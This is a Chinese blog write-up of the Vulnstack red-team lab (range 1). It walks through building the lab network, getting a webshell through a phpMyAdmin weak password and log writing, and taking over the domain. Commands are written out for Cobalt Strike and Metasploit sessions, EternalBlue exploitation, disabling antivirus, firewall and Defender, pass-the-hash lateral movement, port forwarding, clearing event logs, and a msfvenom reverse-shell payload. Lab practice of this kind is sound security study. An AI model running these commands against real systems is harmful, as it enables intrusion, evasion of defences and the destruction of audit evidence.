Vulnstack红日靶场(1)

本文最后更新于:1 个月前

Vmware导入主机

  • 攻击机kali linux
  • Web服务器Windows7
  • 域控Windows2008
  • 域成员Windows2003

环境搭建

网络配置

win7作为web服务器,需要外部能够访问,因此网卡需要走NAT,同样攻击机kali也要能够被外部(主要是反弹shell)访问以及访问win7,因此kali也走NAT。域控、域成员不接触外网,因此需要设置其网卡为仅主机模式(网段需与NAT的不同),同时win7需要能够访问内网,因此win7也得配置一张仅主机模式的网卡

首先配置一下网络编辑器,三台主机一开始都被分配了固定的ip网段192.168.52.0/24了,因此需要添加一张仅主机模式、子网地址为192.168.52.0的网卡

接下来是为四台主机配置网卡:

Win7两张,一张内网一张外部访问:

1
这里有本人踩过的坑,必须是网络适配器1是主机模式,适配器2是NAT。建议把预装的NAT改为自定义的,再添加一张新的设置为NAT,总之就是很玄学。。。更改设置的时候都处于关机状态,然后重开机

域控(Windows2008)一张,用于内网:

域成员(Windows2003)一张,用于内网:

kali一张,NAT用于访问win7的web服务:

win7把防火墙关闭一下:

最终的结果:

  • win7能够ping通外部以及攻击机kali以及内网其他2台主机
  • Windows2008能够ping通内网其他两台主机但是无法ping通外部以及kali
  • Windows2003同上
  • kali能够与外界访问,能够ping通win7的NAT的ip,无法Ping通所有52网段内网ip

各主机的ip

1
2
3
4
kali : 192.168.139.135
win7 : 192.168.139.136(NAT) 192.168.139.52.128
win08 : 192.168.52.138
win03 : 192.168.52.141

启动web服务

win7的C盘下找到phpstudy并启动web服务:

能够被外部访问:

外点getshell

信息收集

探针的页面下,MySQL弱口令存在root/root,但是似乎是内网存在,外部无法连接上

扫目录下发现有phpMyAdmin后台以及phpinfo

getshell

phpmyadmin使用root/root弱口令登录:

有SQL执行处,很自然的就想到使用mysql写shell提权,先查一下权限:

secure_file_priv是null,看来into outfile`和UDF提权都跪了

注意到系统为Windows,可以试试日志写webshell,依旧先查权限

从phpinfo中查到Web根目录C:/phpStudy/WWW/

开启日志并修改日志路径

查询一句话木马

成功连上蚁剑,拿到webshell:

上了蚁剑之后才发现其实还有一个yxcms和beifen.rar,但是dirsearch没有扫出来,补充了一下字典

后渗透阶段

上线CS

kali启动teamserver,配置好ip和密码

起个beacon http的监听器

生成后门文件

把后门文件上传到靶机中:

执行cs.exe后成功上线CS

开始疯狂收集内网信息

为了方便后续操作把会话派生到msf,先在msf配置好模块和payload,lhost以及端口等信息,开个反向连接

在CS创建一个新的监听器,payload选foreign http,host填msf的服务ip,端口填msf的监听端口

在CS会话选中新建会话

拿到meterpreter

检查是否为虚拟机,一般是用于检测蜜罐的

1
run post/windows/gather/checkvm

随手关杀软(靶场是没有的,但是实战中拿到shell第一件事就是关杀软)

1
run post/windows/manage/killav

扫了下机子,发现还是有非常多能利用的漏洞的,不过现在已经是管理员权限了就没必要提权了

在CS使用logonpasswords获取用户名密码,可在CS中开启RDP后远程桌面连接

内网信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ipconfig /all				#查询当前网络情况(DNS,域等)
systeminfo #查系统信息
net view # 查看局域网内其他主机名
net view /domain # 查看有几个域
net user # 查看本机用户名
net user /domain # 查看域用户
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器主机名(可能有多台)

先执行whoami查看身份,发现是god域下的administrator权限

执行net config workstation,发现存在域god

可能存在多个域,因此,接下来执行net view /domain,发现只有一个域GOD

net view查看一下域内一共有三台主机,

查看域下的分组

直接net group "domain controllers" /domain查看域管理员

至此域内关键信息所收集的差不多了,梳理一下

存在一个域GOD,GOD域下有三台主机,域控是OWA主机,即192.168.52.138,win7主机内网ip为192.168.52.143,接下来就是要扫描内网主机了

msf拿下域控

先进行端口扫描,这里使用CS的portscan或者msf的auxiliary/scanner/portscan/tcp 模块

发现OWA主机开放了445、636、593等端口,

先用nmap粗略扫一下域控主机开放端口的可能存在漏洞

1
nmap --script=vuln -p636,593,464,389,135,139,88,80,53,445 192.168.52.138

80端口存在ms15_034利用可能

以及存在ms17_010利用可能

ms15_034

这时候就想看看80端口能不能利用一下?从内网拿内网webshell,再进行提权等也是可能的吧,域控是不出网的,win7没装curl,因此想验证CVE-2015-1635最便捷的办法就是在win7上做个端口转发:

1
netsh interface portproxy add v4tov4 listenaddress=192.168.139.147 listenport=2222 connectaddress=192.168.52.138 connectport=80

然后在kali上做个漏洞验证

1
curl -v 192.168.139.147:2222 -H "Host:irrelevant" -H "Range:bytes=0-18446744073709551615"

msf上给出的关于ms15_034的利用只有两个,一个是dump内存数据的,一个是ddos的。获取内存的并没有获得数据。试了下ddos的

直接给干黑屏了hhhhh,

也没拿到shell(叹气

ms17_010

既然有ms17_010存在可能,那就掏出msf扫一波吧,在使用msf进行内网探测之前都需要做好路由配置,因为rhost配置是在msf而不是meterpreter中,对于攻击机kali来说无法访问到远程主机的内网ip,因此需要先使用内置模块做路由设置

1
run post/multi/manage/autoroute				#自动添加内网路由到攻击机

既然开启了445端口,那必然要扫一波永恒之蓝的

1
search ms17_010

先搜一波相关模块,前两个exploit的是攻击模块,后面两个auxiliary的是探测模块

这里使用最后一个模块来探测一波,我这里之前已经设置过相关配置了所以直接跳过,新的目标还是需要重新设置rhosts和ports。开扫,发现是有可能存在永恒之蓝利用的,Host is likely vulnerable to ms17_010~~~~

选攻击模块,开打

1
2
3
4
5
6
msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0		#数字0对应的是第一个攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp #由于目标不出网,因此需要正向连接
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.52.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4445
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

并没有成功,

关掉win7防火墙和Windows defender,以及手动关闭了域控的域内防火墙!

(这里注意打开了win7防火墙之后执行net view等命令获取信息的时候可能会缺失win7主机的信息)

1
2
shell netsh advfirewall set allprofiles state off
shell net stop windefend

以下是成功拿下域控shell:

PS:用永恒之蓝打的时候很容易把域控打炸掉(shell没选对(选成反向shell),lport没设置正确和本地端口冲突等,都会导致payload无效性地攻击域控导致域控GG),倒是没有出现蓝屏的情况,就是异常卡顿,域控重启了好几次,cpu占用分分钟拉满

经测试,两台主机防火墙开启情况和攻击结果如下:

win7开 win7关
域控开 失败 失败
域控关 成功 成功

显然能否攻击成功是和域控的防火墙有关了,

但是假如一开始域控的防火墙就是开着的怎么办呢?

哈希传递攻击

前面端口扫描过的目标主机都会在Targets中显示:

在beacon执行logonpasswords来获取明文密码以及哈希凭据

然后在Targets中选中目标主机右键,进行横移,方式选psexec攻击

然后选一个刚刚得到的密码哈希或者明文,选择监听器和域内会话

监听器选beacon_bind_pipe

域控已上线

自己鼓捣的时候意外发现当域控防火墙关着的时候可以用正向tcp来直接横移

内网端口转发

拿到了域控的cs的会话,怎样派生到msf呢?可能第一反应会是反弹shell,但是怎么弹?已知域控是不出网的,只有域内的主机能够和域控会话,

不过好在域内的win7主机是出网的,因此可以在win7做个端口转发

1
netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=5557 connectaddress=192.168.139.130 connectport=5556

然后设置一个foreign_http到win7的监听器,当win7收到请求就会将流量转发到目标机

再用msf_zhuanfa监听器新建一个会话,转发成功

持久化和维权

清理痕迹

win7

1
2
3
4
5
wevtutil cl system 清除系统日志
wevtutil cl application 清除应用程序日志
wevtutil cl security 清除安全日志
netsh interface portproxy show all 查看转发的端口情况
netsh interface portproxy delete v4tov4 listenaddress=192.168.52.143 listenport=5557 清理转发的端口

msf

1
clearev  #清除事件日志

待解决问题

中间出了点事,回来的时候发现整个msf终端都崩了。。重新派生会话结果不知道怎么回事5556端口(msf接收cs的shell的端口)直接抽风,msf那边一run就自动连上,不知道咋回事的情况下试着监听了下5556端口,结果,请看VCR.jpg。。。

不知道哪来的这么多的请求

开着监听在win7执行netstat -ano | findstr :5556,发现幕后真凶,

注意到是涉嫌进程后面有个*32,怀疑是msf的payload版本和win7的不同,然后指定了一下x64的payload,双手合十,虔诚祈祷。。

再次派生到msf试试

噔噔咚

好吧咱也不知道啥情况了,不过后者确实没有无限发包了(叹气)

直接上msf马,简单,纯粹。。

1
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.139.135 lport=5556 -f exe -o /home/kali/Desktop/666.exe

事实上是也不行,32位64位全都试过,各种payload都试过了也都无济于事,靶机和msf全部重装都不行,如果有懂得的师傅请赐教

重装kali解决(感觉只是msf的问题但是已经删除干净了却还是不行)

总结

一直说想学内网结果因为学业或者各种乱七八糟的事一鸽再鸽,现在终于能够静下心来好好学内网了。做了这个红日靶场第一关个人感觉收获颇丰,完完全全打开了一个新世界。参考了不少的文章,从环境搭建的一路坐牢,到CS和msf的使用一路各种摸爬滚打,域,工作目录,策略组。。各种概念一点一点从头开始学习,以及计算机网络的各种基础(没错,就是计网,一门被我咕咕了一整个学期的”水课”,主要是老师全都在念PPT,确实没啥意思)。总而言之算是收获很大了,之后还有很长的学习道路要走,碰到的各种问题也希望有经验的师傅能够赐教,个人邮箱:

📫:potatowo233@qq.com

参考文章